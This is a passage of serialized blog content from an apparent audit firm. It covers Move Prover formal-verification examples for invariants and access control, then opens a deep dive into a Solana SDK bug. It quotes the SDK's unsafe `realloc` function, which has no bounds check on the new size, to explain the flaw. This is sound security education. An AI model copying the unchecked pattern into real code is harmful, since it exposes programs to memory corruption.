Policies",{"type":24,"tag":25,"props":20481,"children":20482},{},[20483],{"type":29,"value":20484},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":24,"tag":25,"props":20486,"children":20487},{},[20488,20490,20496,20498,20503],{"type":29,"value":20489},"For example, in ",{"type":24,"tag":135,"props":20491,"children":20493},{"className":20492},[],[20494],{"type":29,"value":20495},"std::offer",{"type":29,"value":20497}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":24,"tag":10648,"props":20499,"children":20500},{},[20501],{"type":29,"value":20502},"or",{"type":29,"value":20504}," the recipient is now allowed.",{"type":24,"tag":261,"props":20506,"children":20508},{"code":20507,"language":10717,"meta":7,"className":10718,"style":7}," spec redeem {\n /// Aborts if there is no offer under `offer_address` or if the account\n /// cannot redeem the offer.\n /// Ensures that the offered struct under `offer_address` is removed.\n aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n ensures !exists\u003COffer\u003COffered>>(offer_address);\n ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n }\n",[20509],{"type":24,"tag":135,"props":20510,"children":20511},{"__ignoreMap":7},[20512,20529,20537,20545,20553,20600,20658,20701,20767],{"type":24,"tag":271,"props":20513,"children":20514},{"class":273,"line":274},[20515,20520,20525],{"type":24,"tag":271,"props":20516,"children":20517},{"style":630},[20518],{"type":29,"value":20519}," spec",{"type":24,"tag":271,"props":20521,"children":20522},{"style":630},[20523],{"type":29,"value":20524}," redeem",{"type":24,"tag":271,"props":20526,"children":20527},{"style":288},[20528],{"type":29,"value":7145},{"type":24,"tag":271,"props":20530,"children":20531},{"class":273,"line":284},[20532],{"type":24,"tag":271,"props":20533,"children":20534},{"style":2058},[20535],{"type":29,"value":20536}," /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":24,"tag":271,"props":20538,"children":20539},{"class":273,"line":294},[20540],{"type":24,"tag":271,"props":20541,"children":20542},{"style":2058},[20543],{"type":29,"value":20544}," /// cannot redeem the offer.\n",{"type":24,"tag":271,"props":20546,"children":20547},{"class":273,"line":303},[20548],{"type":24,"tag":271,"props":20549,"children":20550},{"style":2058},[20551],{"type":29,"value":20552}," /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":24,"tag":271,"props":20554,"children":20555},{"class":273,"line":312},[20556,20560,20565,20569,20573,20578,20582,20587,20591,20596],{"type":24,"tag":271,"props":20557,"children":20558},{"style":630},[20559],{"type":29,"value":16765},{"type":24,"tag":271,"props":20561,"children":20562},{"style":624},[20563],{"type":29,"value":20564}," !",{"type":24,"tag":271,"props":20566,"children":20567},{"style":630},[20568],{"type":29,"value":14421},{"type":24,"tag":271,"props":20570,"children":20571},{"style":288},[20572],{"type":29,"value":801},{"type":24,"tag":271,"props":20574,"children":20575},{"style":3887},[20576],{"type":29,"value":20577},"Offer",{"type":24,"tag":271,"props":20579,"children":20580},{"style":288},[20581],{"type":29,"value":801},{"type":24,"tag":271,"props":20583,"children":20584},{"style":3887},[20585],{"type":29,"value":20586},"Offered",{"type":24,"tag":271,"props":20588,"children":20589},{"style":288},[20590],{"type":29,"value":14443},{"type":24,"tag":271,"props":20592,"children":20593},{"style":630},[20594],{"type":29,"value":20595},"offer_address",{"type":24,"tag":271,"props":20597,"children":20598},{"style":288},[20599],{"type":29,"value":1155},{"type":24,"tag":271,"props":20601,"children":20602},{"class":273,"line":321},[20603,20607,20611,20616,20620,20624,20628,20632,20637,20641,20645,20649,20654],{"type":24,"tag":271,"props":20604,"children":20605},{"style":630},[20606],{"type":29,"value":16765},{"type":24,"tag":271,"props":20608,"children":20609},{"style":624},[20610],{"type":29,"value":20564},{"type":24,"tag":271,"props":20612,"children":20613},{"style":630},[20614],{"type":29,"value":20615},"is_allowed_recipient",{"type":24,"tag":271,"props":20617,"children":20618},{"style":288},[20619],{"type":29,"value":801},{"type":24,"tag":271,"props":20621,"children":20622},{"style":3887},[20623],{"type":29,"value":20586},{"type":24,"tag":271,"props":20625,"children":20626},{"style":288},[20627],{"type":29,"value":15327},{"type":24,"tag":271,"props":20629,"children":20630},{"style":630},[20631],{"type":29,"value":20595},{"type":24,"tag":271,"props":20633,"children":20634},{"style":288},[20635],{"type":29,"value":20636},", signer",{"type":24,"tag":271,"props":20638,"children":20639},{"style":624},[20640],{"type":29,"value":11207},{"type":24,"tag":271,"props":20642,"children":20643},{"style":598},[20644],{"type":29,"value":14926},{"type":24,"tag":271,"props":20646,"children":20647},{"style":288},[20648],{"type":29,"value":606},{"type":24,"tag":271,"props":20650,"children":20651},{"style":630},[20652],{"type":29,"value":20653},"account",{"type":24,"tag":271,"props":20655,"children":20656},{"style":288},[20657],{"type":29,"value":5811},{"type":24,"tag":271,"props":20659,"children":20660},{"class":273,"line":330},[20661,20665,20669,20673,20677,20681,20685,20689,20693,20697],{"type":24,"tag":271,"props":20662,"children":20663},{"style":630},[20664],{"type":29,"value":15902},{"type":24,"tag":271,"props":20666,"children":20667},{"style":624},[20668],{"type":29,"value":20564},{"type":24,"tag":271,"props":20670,"children":20671},{"style":630},[20672],{"type":29,"value":14421},{"type":24,"tag":271,"props":20674,"children":20675},{"style":288},[20676],{"type":29,"value":801},{"type":24,"tag":271,"props":20678,"children":20679},{"style":3887},[20680],{"type":29,"value":20577},{"type":24,"tag":271,"props":20682,"children":20683},{"style":288},[20684],{"type":29,"value":801},{"type":24,"tag":271,"props":20686,"children":20687},{"style":3887},[20688],{"type":29,"value":20586},{"type":24,"tag":271,"props":20690,"children":20691},{"style":288},[20692],{"type":29,"value":14443},{"type":24,"tag":271,"props":20694,"children":20695},{"style":630},[20696],{"type":29,"value":20595},{"type":24,"tag":271,"props":20698,"children":20699},{"style":288},[20700],{"type":29,"value":1155},{"type":24,"tag":271,"props":20702,"children":20703},{"class":273,"line":339},[20704,20708,20712,20716,20721,20725,20730,20734,20738,20742,20746,20750,20754,20758,20762],{"type":24,"tag":271,"props":20705,"children":20706},{"style":630},[20707],{"type":29,"value":15902},{"type":24,"tag":271,"props":20709,"children":20710},{"style":630},[20711],{"type":29,"value":16869},{"type":24,"tag":271,"props":20713,"children":20714},{"style":624},[20715],{"type":29,"value":1031},{"type":24,"tag":271,"props":20717,"children":20718},{"style":598},[20719],{"type":29,"value":20720}," old",{"type":24,"tag":271,"props":20722,"children":20723},{"style":288},[20724],{"type":29,"value":606},{"type":24,"tag":271,"props":20726,"children":20727},{"style":630},[20728],{"type":29,"value":20729},"global",{"type":24,"tag":271,"props":20731,"children":20732},{"style":288},[20733],{"type":29,"value":801},{"type":24,"tag":271,"props":20735,"children":20736},{"style":3887},[20737],{"type":29,"value":20577},{"type":24,"tag":271,"props":20739,"children":20740},{"style":288},[20741],{"type":29,"value":801},{"type":24,"tag":271,"props":20743,"children":20744},{"style":3887},[20745],{"type":29,"value":20586},{"type":24,"tag":271,"props":20747,"children":20748},{"style":288},[20749],{"type":29,"value":14443},{"type":24,"tag":271,"props":20751,"children":20752},{"style":630},[20753],{"type":29,"value":20595},{"type":24,"tag":271,"props":20755,"children":20756},{"style":288},[20757],{"type":29,"value":2693},{"type":24,"tag":271,"props":20759,"children":20760},{"style":624},[20761],{"type":29,"value":41},{"type":24,"tag":271,"props":20763,"children":20764},{"style":288},[20765],{"type":29,"value":20766},"offered);\n",{"type":24,"tag":271,"props":20768,"children":20769},{"class":273,"line":347},[20770],{"type":24,"tag":271,"props":20771,"children":20772},{"style":288},[20773],{"type":29,"value":4385},{"type":24,"tag":25,"props":20775,"children":20776},{},[20777],{"type":29,"value":20778},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":24,"tag":85,"props":20780,"children":20782},{"id":20781},"complex-mathematical-formulae",[20783],{"type":29,"value":20784},"Complex Mathematical Formulae",{"type":24,"tag":25,"props":20786,"children":20787},{},[20788,20790,20795],{"type":29,"value":20789},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":24,"tag":10648,"props":20791,"children":20792},{},[20793],{"type":29,"value":20794},"always",{"type":29,"value":20796}," the output.",{"type":24,"tag":25,"props":20798,"children":20799},{},[20800],{"type":29,"value":20801},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":24,"tag":25,"props":20803,"children":20804},{},[20805,20807,20814],{"type":29,"value":20806},"For example, in our work with ",{"type":24,"tag":32,"props":20808,"children":20811},{"href":20809,"rel":20810},"https://laminar.markets/",[36],[20812],{"type":29,"value":20813},"Laminar Markets",{"type":29,"value":20815},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":24,"tag":85,"props":20817,"children":20819},{"id":20818},"data-invariants",[20820],{"type":29,"value":20821},"Data Invariants",{"type":24,"tag":25,"props":20823,"children":20824},{},[20825,20827,20833,20835,20841,20843,20849,20851,20857],{"type":29,"value":20826},"Formal verification provides the best environment to verify that certain ",{"type":24,"tag":135,"props":20828,"children":20830},{"className":20829},[],[20831],{"type":29,"value":20832},"variables",{"type":29,"value":20834}," or ",{"type":24,"tag":135,"props":20836,"children":20838},{"className":20837},[],[20839],{"type":29,"value":20840},"resources",{"type":29,"value":20842}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":24,"tag":135,"props":20844,"children":20846},{"className":20845},[],[20847],{"type":29,"value":20848},"index",{"type":29,"value":20850}," is never greater than 4 using a ",{"type":24,"tag":135,"props":20852,"children":20854},{"className":20853},[],[20855],{"type":29,"value":20856},"struct invariant",{"type":29,"value":41},{"type":24,"tag":261,"props":20859,"children":20861},{"code":20860,"language":10717,"meta":7,"className":10718,"style":7},"struct Type {\n index: u64\n}\n\nspec Type {\n invariant index \u003C 4;\n}\n",[20862],{"type":24,"tag":135,"props":20863,"children":20864},{"__ignoreMap":7},[20865,20881,20898,20905,20912,20927,20951],{"type":24,"tag":271,"props":20866,"children":20867},{"class":273,"line":274},[20868,20872,20877],{"type":24,"tag":271,"props":20869,"children":20870},{"style":278},[20871],{"type":29,"value":1772},{"type":24,"tag":271,"props":20873,"children":20874},{"style":3887},[20875],{"type":29,"value":20876}," Type",{"type":24,"tag":271,"props":20878,"children":20879},{"style":288},[20880],{"type":29,"value":7145},{"type":24,"tag":271,"props":20882,"children":20883},{"class":273,"line":284},[20884,20889,20893],{"type":24,"tag":271,"props":20885,"children":20886},{"style":630},[20887],{"type":29,"value":20888}," index",{"type":24,"tag":271,"props":20890,"children":20891},{"style":624},[20892],{"type":29,"value":12210},{"type":24,"tag":271,"props":20894,"children":20895},{"style":3887},[20896],{"type":29,"value":20897}," u64\n",{"type":24,"tag":271,"props":20899,"children":20900},{"class":273,"line":294},[20901],{"type":24,"tag":271,"props":20902,"children":20903},{"style":288},[20904],{"type":29,"value":1171},{"type":24,"tag":271,"props":20906,"children":20907},{"class":273,"line":303},[20908],{"type":24,"tag":271,"props":20909,"children":20910},{"emptyLinePlaceholder":16},[20911],{"type":29,"value":327},{"type":24,"tag":271,"props":20913,"children":20914},{"class":273,"line":312},[20915,20919,20923],{"type":24,"tag":271,"props":20916,"children":20917},{"style":630},[20918],{"type":29,"value":15990},{"type":24,"tag":271,"props":20920,"children":20921},{"style":3887},[20922],{"type":29,"value":20876},{"type":24,"tag":271,"props":20924,"children":20925},{"style":288},[20926],{"type":29,"value":7145},{"type":24,"tag":271,"props":20928,"children":20929},{"class":273,"line":321},[20930,20934,20939,20943,20947],{"type":24,"tag":271,"props":20931,"children":20932},{"style":630},[20933],{"type":29,"value":16007},{"type":24,"tag":271,"props":20935,"children":20936},{"style":630},[20937],{"type":29,"value":20938}," index",{"type":24,"tag":271,"props":20940,"children":20941},{"style":624},[20942],{"type":29,"value":16432},{"type":24,"tag":271,"props":20944,"children":20945},{"style":477},[20946],{"type":29,"value":19448},{"type":24,"tag":271,"props":20948,"children":20949},{"style":288},[20950],{"type":29,"value":1069},{"type":24,"tag":271,"props":20952,"children":20953},{"class":273,"line":330},[20954],{"type":24,"tag":271,"props":20955,"children":20956},{"style":288},[20957],{"type":29,"value":1171},{"type":24,"tag":25,"props":20959,"children":20960},{},[20961,20963,20970,20971,20977],{"type":29,"value":20962},"We were able to verify more complex properties in our recent audits for ",{"type":24,"tag":32,"props":20964,"children":20967},{"href":20965,"rel":20966},"https://layerzero.network/",[36],[20968],{"type":29,"value":20969},"LayerZero",{"type":29,"value":518},{"type":24,"tag":32,"props":20972,"children":20975},{"href":20973,"rel":20974},"http://ariesmarkets.xyz/",[36],[20976],{"type":29,"value":14507},{"type":29,"value":20978},", but the details are left as an exercise to the reader.",{"type":24,"tag":85,"props":20980,"children":20982},{"id":20981},"economic-invariants",[20983],{"type":29,"value":20984},"Economic Invariants.",{"type":24,"tag":25,"props":20986,"children":20987},{},[20988],{"type":29,"value":20989},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":24,"tag":25,"props":20991,"children":20992},{},[20993],{"type":29,"value":20994},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":24,"tag":261,"props":20996,"children":20997},{"code":15682,"language":10717,"meta":7,"className":10718,"style":7},[20998],{"type":24,"tag":135,"props":20999,"children":21000},{"__ignoreMap":7},[21001,21008,21091,21130,21149,21156,21171,21194,21217,21240],{"type":24,"tag":271,"props":21002,"children":21003},{"class":273,"line":274},[21004],{"type":24,"tag":271,"props":21005,"children":21006},{"style":2058},[21007],{"type":29,"value":15694},{"type":24,"tag":271,"props":21009,"children":21010},{"class":273,"line":284},[21011,21015,21019,21023,21027,21031,21035,21039,21043,21047,21051,21055,21059,21063,21067,21071,21075,21079,21083,21087],{"type":24,"tag":271,"props":21012,"children":21013},{"style":630},[21014],{"type":29,"value":14286},{"type":24,"tag":271,"props":21016,"children":21017},{"style":598},[21018],{"type":29,"value":15706},{"type":24,"tag":271,"props":21020,"children":21021},{"style":288},[21022],{"type":29,"value":606},{"type":24,"tag":271,"props":21024,"children":21025},{"style":630},[21026],{"type":29,"value":15715},{"type":24,"tag":271,"props":21028,"children":21029},{"style":624},[21030],{"type":29,"value":12210},{"type":24,"tag":271,"props":21032,"children":21033},{"style":3887},[21034],{"type":29,"value":13576},{"type":24,"tag":271,"props":21036,"children":21037},{"style":288},[21038],{"type":29,"value":158},{"type":24,"tag":271,"props":21040,"children":21041},{"style":630},[21042],{"type":29,"value":15732},{"type":24,"tag":271,"props":21044,"children":21045},{"style":624},[21046],{"type":29,"value":12210},{"type":24,"tag":271,"props":21048,"children":21049},{"style":3887},[21050],{"type":29,"value":13576},{"type":24,"tag":271,"props":21052,"children":21053},{"style":288},[21054],{"type":29,"value":2693},{"type":24,"tag":271,"props":21056,"children":21057},{"style":624},[21058],{"type":29,"value":12210},{"type":24,"tag":271,"props":21060,"children":21061},{"style":288},[21062],{"type":29,"value":1357},{"type":24,"tag":271,"props":21064,"children":21065},{"style":3887},[21066],{"type":29,"value":15757},{"type":24,"tag":271,"props":21068,"children":21069},{"style":288},[21070],{"type":29,"value":158},{"type":24,"tag":271,"props":21072,"children":21073},{"style":3887},[21074],{"type":29,"value":15757},{"type":24,"tag":271,"props":21076,"children":21077},{"style":288},[21078],{"type":29,"value":8823},{"type":24,"tag":271,"props":21080,"children":21081},{"style":630},[21082],{"type":29,"value":14061},{"type":24,"tag":271,"props":21084,"children":21085},{"style":3887},[21086],{"type":29,"value":15778},{"type":24,"tag":271,"props":21088,"children":21089},{"style":288},[21090],{"type":29,"value":7145},{"type":24,"tag":271,"props":21092,"children":21093},{"class":273,"line":294},[21094,21098,21102,21106,21110,21114,21118,21122,21126],{"type":24,"tag":271,"props":21095,"children":21096},{"style":278},[21097],{"type":29,"value":15790},{"type":24,"tag":271,"props":21099,"children":21100},{"style":630},[21101],{"type":29,"value":15795},{"type":24,"tag":271,"props":21103,"children":21104},{"style":624},[21105],{"type":29,"value":1712},{"type":24,"tag":271,"props":21107,"children":21108},{"style":598},[21109],{"type":29,"value":15804},{"type":24,"tag":271,"props":21111,"children":21112},{"style":288},[21113],{"type":29,"value":606},{"type":24,"tag":271,"props":21115,"children":21116},{"style":630},[21117],{"type":29,"value":15715},{"type":24,"tag":271,"props":21119,"children":21120},{"style":288},[21121],{"type":29,"value":158},{"type":24,"tag":271,"props":21123,"children":21124},{"style":630},[21125],{"type":29,"value":15732},{"type":24,"tag":271,"props":21127,"children":21128},{"style":288},[21129],{"type":29,"value":1155},{"type":24,"tag":271,"props":21131,"children":21132},{"class":273,"line":303},[21133,21137,21141,21145],{"type":24,"tag":271,"props":21134,"children":21135},{"style":598},[21136],{"type":29,"value":15832},{"type":24,"tag":271,"props":21138,"children":21139},{"style":288},[21140],{"type":29,"value":606},{"type":24,"tag":271,"props":21142,"children":21143},{"style":630},[21144],{"type":29,"value":15841},{"type":24,"tag":271,"props":21146,"children":21147},{"style":288},[21148],{"type":29,"value":694},{"type":24,"tag":271,"props":21150,"children":21151},{"class":273,"line":312},[21152],{"type":24,"tag":271,"props":21153,"children":21154},{"style":288},[21155],{"type":29,"value":13588},{"type":24,"tag":271,"props":21157,"children":21158},{"class":273,"line":321},[21159,21163,21167],{"type":24,"tag":271,"props":21160,"children":21161},{"style":630},[21162],{"type":29,"value":15860},{"type":24,"tag":271,"props":21164,"children":21165},{"style":630},[21166],{"type":29,"value":15706},{"type":24,"tag":271,"props":21168,"children":21169},{"style":288},[21170],{"type":29,"value":7145},{"type":24,"tag":271,"props":21172,"children":21173},{"class":273,"line":330},[21174,21178,21182,21186,21190],{"type":24,"tag":271,"props":21175,"children":21176},{"style":630},[21177],{"type":29,"value":15876},{"type":24,"tag":271,"props":21179,"children":21180},{"style":630},[21181],{"type":29,"value":15881},{"type":24,"tag":271,"props":21183,"children":21184},{"style":624},[21185],{"type":29,"value":762},{"type":24,"tag":271,"props":21187,"children":21188},{"style":278},[21189],{"type":29,"value":15890},{"type":24,"tag":271,"props":21191,"children":21192},{"style":288},[21193],{"type":29,"value":1069},{"type":24,"tag":271,"props":21195,"children":21196},{"class":273,"line":339},[21197,21201,21205,21209,21213],{"type":24,"tag":271,"props":21198,"children":21199},{"style":630},[21200],{"type":29,"value":15902},{"type":24,"tag":271,"props":21202,"children":21203},{"style":630},[21204],{"type":29,"value":15907},{"type":24,"tag":271,"props":21206,"children":21207},{"style":624},[21208],{"type":29,"value":15912},{"type":24,"tag":271,"props":21210,"children":21211},{"style":630},[21212],{"type":29,"value":15917},{"type":24,"tag":271,"props":21214,"children":21215},{"style":288},[21216],{"type":29,"value":1069},{"type":24,"tag":271,"props":21218,"children":21219},{"class":273,"line":347},[21220,21224,21228,21232,21236],{"type":24,"tag":271,"props":21221,"children":21222},{"style":630},[21223],{"type":29,"value":15902},{"type":24,"tag":271,"props":21225,"children":21226},{"style":630},[21227],{"type":29,"value":15933},{"type":24,"tag":271,"props":21229,"children":21230},{"style":624},[21231],{"type":29,"value":15912},{"type":24,"tag":271,"props":21233,"children":21234},{"style":630},[21235],{"type":29,"value":15942},{"type":24,"tag":271,"props":21237,"children":21238},{"style":288},[21239],{"type":29,"value":1069},{"type":24,"tag":271,"props":21241,"children":21242},{"class":273,"line":356},[21243],{"type":24,"tag":271,"props":21244,"children":21245},{"style":288},[21246],{"type":29,"value":13588},{"type":24,"tag":25,"props":21248,"children":21249},{},[21250],{"type":29,"value":21251},"Some other ideas include",{"type":24,"tag":3834,"props":21253,"children":21254},{},[21255,21260,21265],{"type":24,"tag":101,"props":21256,"children":21257},{},[21258],{"type":29,"value":21259},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":24,"tag":101,"props":21261,"children":21262},{},[21263],{"type":29,"value":21264},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":24,"tag":101,"props":21266,"children":21267},{},[21268],{"type":29,"value":21269},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":24,"tag":62,"props":21271,"children":21272},{"id":13028},[21273],{"type":29,"value":13031},{"type":24,"tag":25,"props":21275,"children":21276},{},[21277],{"type":29,"value":21278},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":24,"tag":25,"props":21280,"children":21281},{},[21282],{"type":29,"value":21283},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":24,"tag":25,"props":21285,"children":21286},{},[21287,21289,21294],{"type":29,"value":21288},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":24,"tag":32,"props":21290,"children":21292},{"href":16950,"rel":21291},[36],[21293],{"type":29,"value":16954},{"type":29,"value":41},{"type":24,"tag":10562,"props":21296,"children":21297},{},[21298],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":21300},[21301,21302,21305,21312],{"id":17013,"depth":284,"text":17016},{"id":17067,"depth":284,"text":17070,"children":21303},[21304],{"id":17316,"depth":294,"text":17312},{"id":20210,"depth":284,"text":20213,"children":21306},[21307,21308,21309,21310,21311],{"id":20226,"depth":294,"text":20229},{"id":20476,"depth":294,"text":20479},{"id":20781,"depth":294,"text":20784},{"id":20818,"depth":294,"text":20821},{"id":20981,"depth":294,"text":20984},{"id":13028,"depth":284,"text":13031},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":21317,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":21318,"description":21319,"author":21320,"image":21321,"date":21325,"isFeatured":16,"onBlogPage":16,"tags":21326,"body":21327,"_type":10599,"_id":26434,"_source":10601,"_file":26435,"_stem":26436,"_extension":10604},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":21322,"height":21323,"width":21324},"/posts/rust-realloc-and-references/title.jpg",512,1024,"2022-12-09",[10617,16977],{"type":21,"children":21328,"toc":26418},[21329,21357,21377,22044,22064,22075,22087,22220,22230,22236,22262,22602,22647,22973,23036,23049,23123,23191,23212,23225,23239,23586,23597,23602,23733,23784,23810,23822,23995,24131,24172,24209,24273,24278,24315,24369,24380,24523,24535,24541,24547,24580,24594,24715,24734,24762,24768,24858,24949,24955,24960,25006,25274,25349,25360,25387,25719,25731,25803,26076,26112,26414],{"type":24,"tag":25,"props":21330,"children":21331},{},[21332,21334,21340,21342,21347,21349,21355],{"type":29,"value":21333},"It all started with an audit of a program that used ",{"type":24,"tag":135,"props":21335,"children":21337},{"className":21336},[],[21338],{"type":29,"value":21339},"realloc",{"type":29,"value":21341}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":24,"tag":135,"props":21343,"children":21345},{"className":21344},[],[21346],{"type":29,"value":21339},{"type":29,"value":21348}," call (from ",{"type":24,"tag":135,"props":21350,"children":21352},{"className":21351},[],[21353],{"type":29,"value":21354},"solana_program",{"type":29,"value":21356},") would error out appropriately.",{"type":24,"tag":25,"props":21358,"children":21359},{},[21360,21362,21368,21369,21376],{"type":29,"value":21361},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":24,"tag":135,"props":21363,"children":21365},{"className":21364},[],[21366],{"type":29,"value":21367},"AccountInfo::realloc",{"type":29,"value":13219},{"type":24,"tag":32,"props":21370,"children":21373},{"href":21371,"rel":21372},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[36],[21374],{"type":29,"value":21375},"implemented",{"type":29,"value":12210},{"type":24,"tag":261,"props":21378,"children":21380},{"className":10718,"code":21379,"language":10717,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n let orig_len = self.data_len();\n\n // realloc\n unsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n }\n\n // zero-init if requested\n if zero_init && new_len > orig_len {\n sol_memset(\n &mut self.try_borrow_mut_data()?[orig_len..],\n 0,\n new_len.saturating_sub(orig_len),\n );\n }\n\n Ok(())\n}\n",[21381],{"type":24,"tag":135,"props":21382,"children":21383},{"__ignoreMap":7},[21384,21477,21511,21518,21526,21538,21546,21637,21670,21677,21685,21815,21846,21853,21860,21868,21901,21913,21962,21974,22003,22010,22017,22024,22037],{"type":24,"tag":271,"props":21385,"children":21386},{"class":273,"line":274},[21387,21392,21397,21402,21406,21410,21415,21419,21424,21428,21433,21437,21442,21446,21450,21454,21458,21463,21468,21473],{"type":24,"tag":271,"props":21388,"children":21389},{"style":278},[21390],{"type":29,"value":21391},"pub",{"type":24,"tag":271,"props":21393,"children":21394},{"style":278},[21395],{"type":29,"value":21396}," fn",{"type":24,"tag":271,"props":21398,"children":21399},{"style":598},[21400],{"type":29,"value":21401}," realloc",{"type":24,"tag":271,"props":21403,"children":21404},{"style":288},[21405],{"type":29,"value":606},{"type":24,"tag":271,"props":21407,"children":21408},{"style":624},[21409],{"type":29,"value":1137},{"type":24,"tag":271,"props":21411,"children":21412},{"style":278},[21413],{"type":29,"value":21414},"self",{"type":24,"tag":271,"props":21416,"children":21417},{"style":288},[21418],{"type":29,"value":158},{"type":24,"tag":271,"props":21420,"children":21421},{"style":630},[21422],{"type":29,"value":21423},"new_len",{"type":24,"tag":271,"props":21425,"children":21426},{"style":624},[21427],{"type":29,"value":12210},{"type":24,"tag":271,"props":21429,"children":21430},{"style":3887},[21431],{"type":29,"value":21432}," usize",{"type":24,"tag":271,"props":21434,"children":21435},{"style":288},[21436],{"type":29,"value":158},{"type":24,"tag":271,"props":21438,"children":21439},{"style":630},[21440],{"type":29,"value":21441},"zero_init",{"type":24,"tag":271,"props":21443,"children":21444},{"style":624},[21445],{"type":29,"value":12210},{"type":24,"tag":271,"props":21447,"children":21448},{"style":3887},[21449],{"type":29,"value":19753},{"type":24,"tag":271,"props":21451,"children":21452},{"style":288},[21453],{"type":29,"value":8823},{"type":24,"tag":271,"props":21455,"children":21456},{"style":624},[21457],{"type":29,"value":786},{"type":24,"tag":271,"props":21459,"children":21460},{"style":3887},[21461],{"type":29,"value":21462}," Result",{"type":24,"tag":271,"props":21464,"children":21465},{"style":288},[21466],{"type":29,"value":21467},"\u003C(), ",{"type":24,"tag":271,"props":21469,"children":21470},{"style":3887},[21471],{"type":29,"value":21472},"ProgramError",{"type":24,"tag":271,"props":21474,"children":21475},{"style":288},[21476],{"type":29,"value":14997},{"type":24,"tag":271,"props":21478,"children":21479},{"class":273,"line":284},[21480,21484,21489,21493,21498,21502,21507],{"type":24,"tag":271,"props":21481,"children":21482},{"style":278},[21483],{"type":29,"value":10738},{"type":24,"tag":271,"props":21485,"children":21486},{"style":630},[21487],{"type":29,"value":21488}," orig_len",{"type":24,"tag":271,"props":21490,"children":21491},{"style":624},[21492],{"type":29,"value":1712},{"type":24,"tag":271,"props":21494,"children":21495},{"style":278},[21496],{"type":29,"value":21497}," self",{"type":24,"tag":271,"props":21499,"children":21500},{"style":624},[21501],{"type":29,"value":41},{"type":24,"tag":271,"props":21503,"children":21504},{"style":598},[21505],{"type":29,"value":21506},"data_len",{"type":24,"tag":271,"props":21508,"children":21509},{"style":288},[21510],{"type":29,"value":4230},{"type":24,"tag":271,"props":21512,"children":21513},{"class":273,"line":294},[21514],{"type":24,"tag":271,"props":21515,"children":21516},{"emptyLinePlaceholder":16},[21517],{"type":29,"value":327},{"type":24,"tag":271,"props":21519,"children":21520},{"class":273,"line":303},[21521],{"type":24,"tag":271,"props":21522,"children":21523},{"style":2058},[21524],{"type":29,"value":21525}," // realloc\n",{"type":24,"tag":271,"props":21527,"children":21528},{"class":273,"line":312},[21529,21534],{"type":24,"tag":271,"props":21530,"children":21531},{"style":278},[21532],{"type":29,"value":21533}," unsafe",{"type":24,"tag":271,"props":21535,"children":21536},{"style":288},[21537],{"type":29,"value":7145},{"type":24,"tag":271,"props":21539,"children":21540},{"class":273,"line":321},[21541],{"type":24,"tag":271,"props":21542,"children":21543},{"style":2058},[21544],{"type":29,"value":21545}," // First set new length in the serialized data\n",{"type":24,"tag":271,"props":21547,"children":21548},{"class":273,"line":330},[21549,21553,21558,21562,21566,21570,21575,21580,21584,21589,21593,21597,21601,21605,21609,21613,21617,21621,21625,21629,21633],{"type":24,"tag":271,"props":21550,"children":21551},{"style":278},[21552],{"type":29,"value":10800},{"type":24,"tag":271,"props":21554,"children":21555},{"style":630},[21556],{"type":29,"value":21557}," ptr",{"type":24,"tag":271,"props":21559,"children":21560},{"style":624},[21561],{"type":29,"value":1712},{"type":24,"tag":271,"props":21563,"children":21564},{"style":278},[21565],{"type":29,"value":21497},{"type":24,"tag":271,"props":21567,"children":21568},{"style":624},[21569],{"type":29,"value":41},{"type":24,"tag":271,"props":21571,"children":21572},{"style":598},[21573],{"type":29,"value":21574},"try_borrow_mut_data",{"type":24,"tag":271,"props":21576,"children":21577},{"style":288},[21578],{"type":29,"value":21579},"()",{"type":24,"tag":271,"props":21581,"children":21582},{"style":624},[21583],{"type":29,"value":10865},{"type":24,"tag":271,"props":21585,"children":21586},{"style":598},[21587],{"type":29,"value":21588},"as_mut_ptr",{"type":24,"tag":271,"props":21590,"children":21591},{"style":288},[21592],{"type":29,"value":21579},{"type":24,"tag":271,"props":21594,"children":21595},{"style":624},[21596],{"type":29,"value":41},{"type":24,"tag":271,"props":21598,"children":21599},{"style":598},[21600],{"type":29,"value":8307},{"type":24,"tag":271,"props":21602,"children":21603},{"style":288},[21604],{"type":29,"value":606},{"type":24,"tag":271,"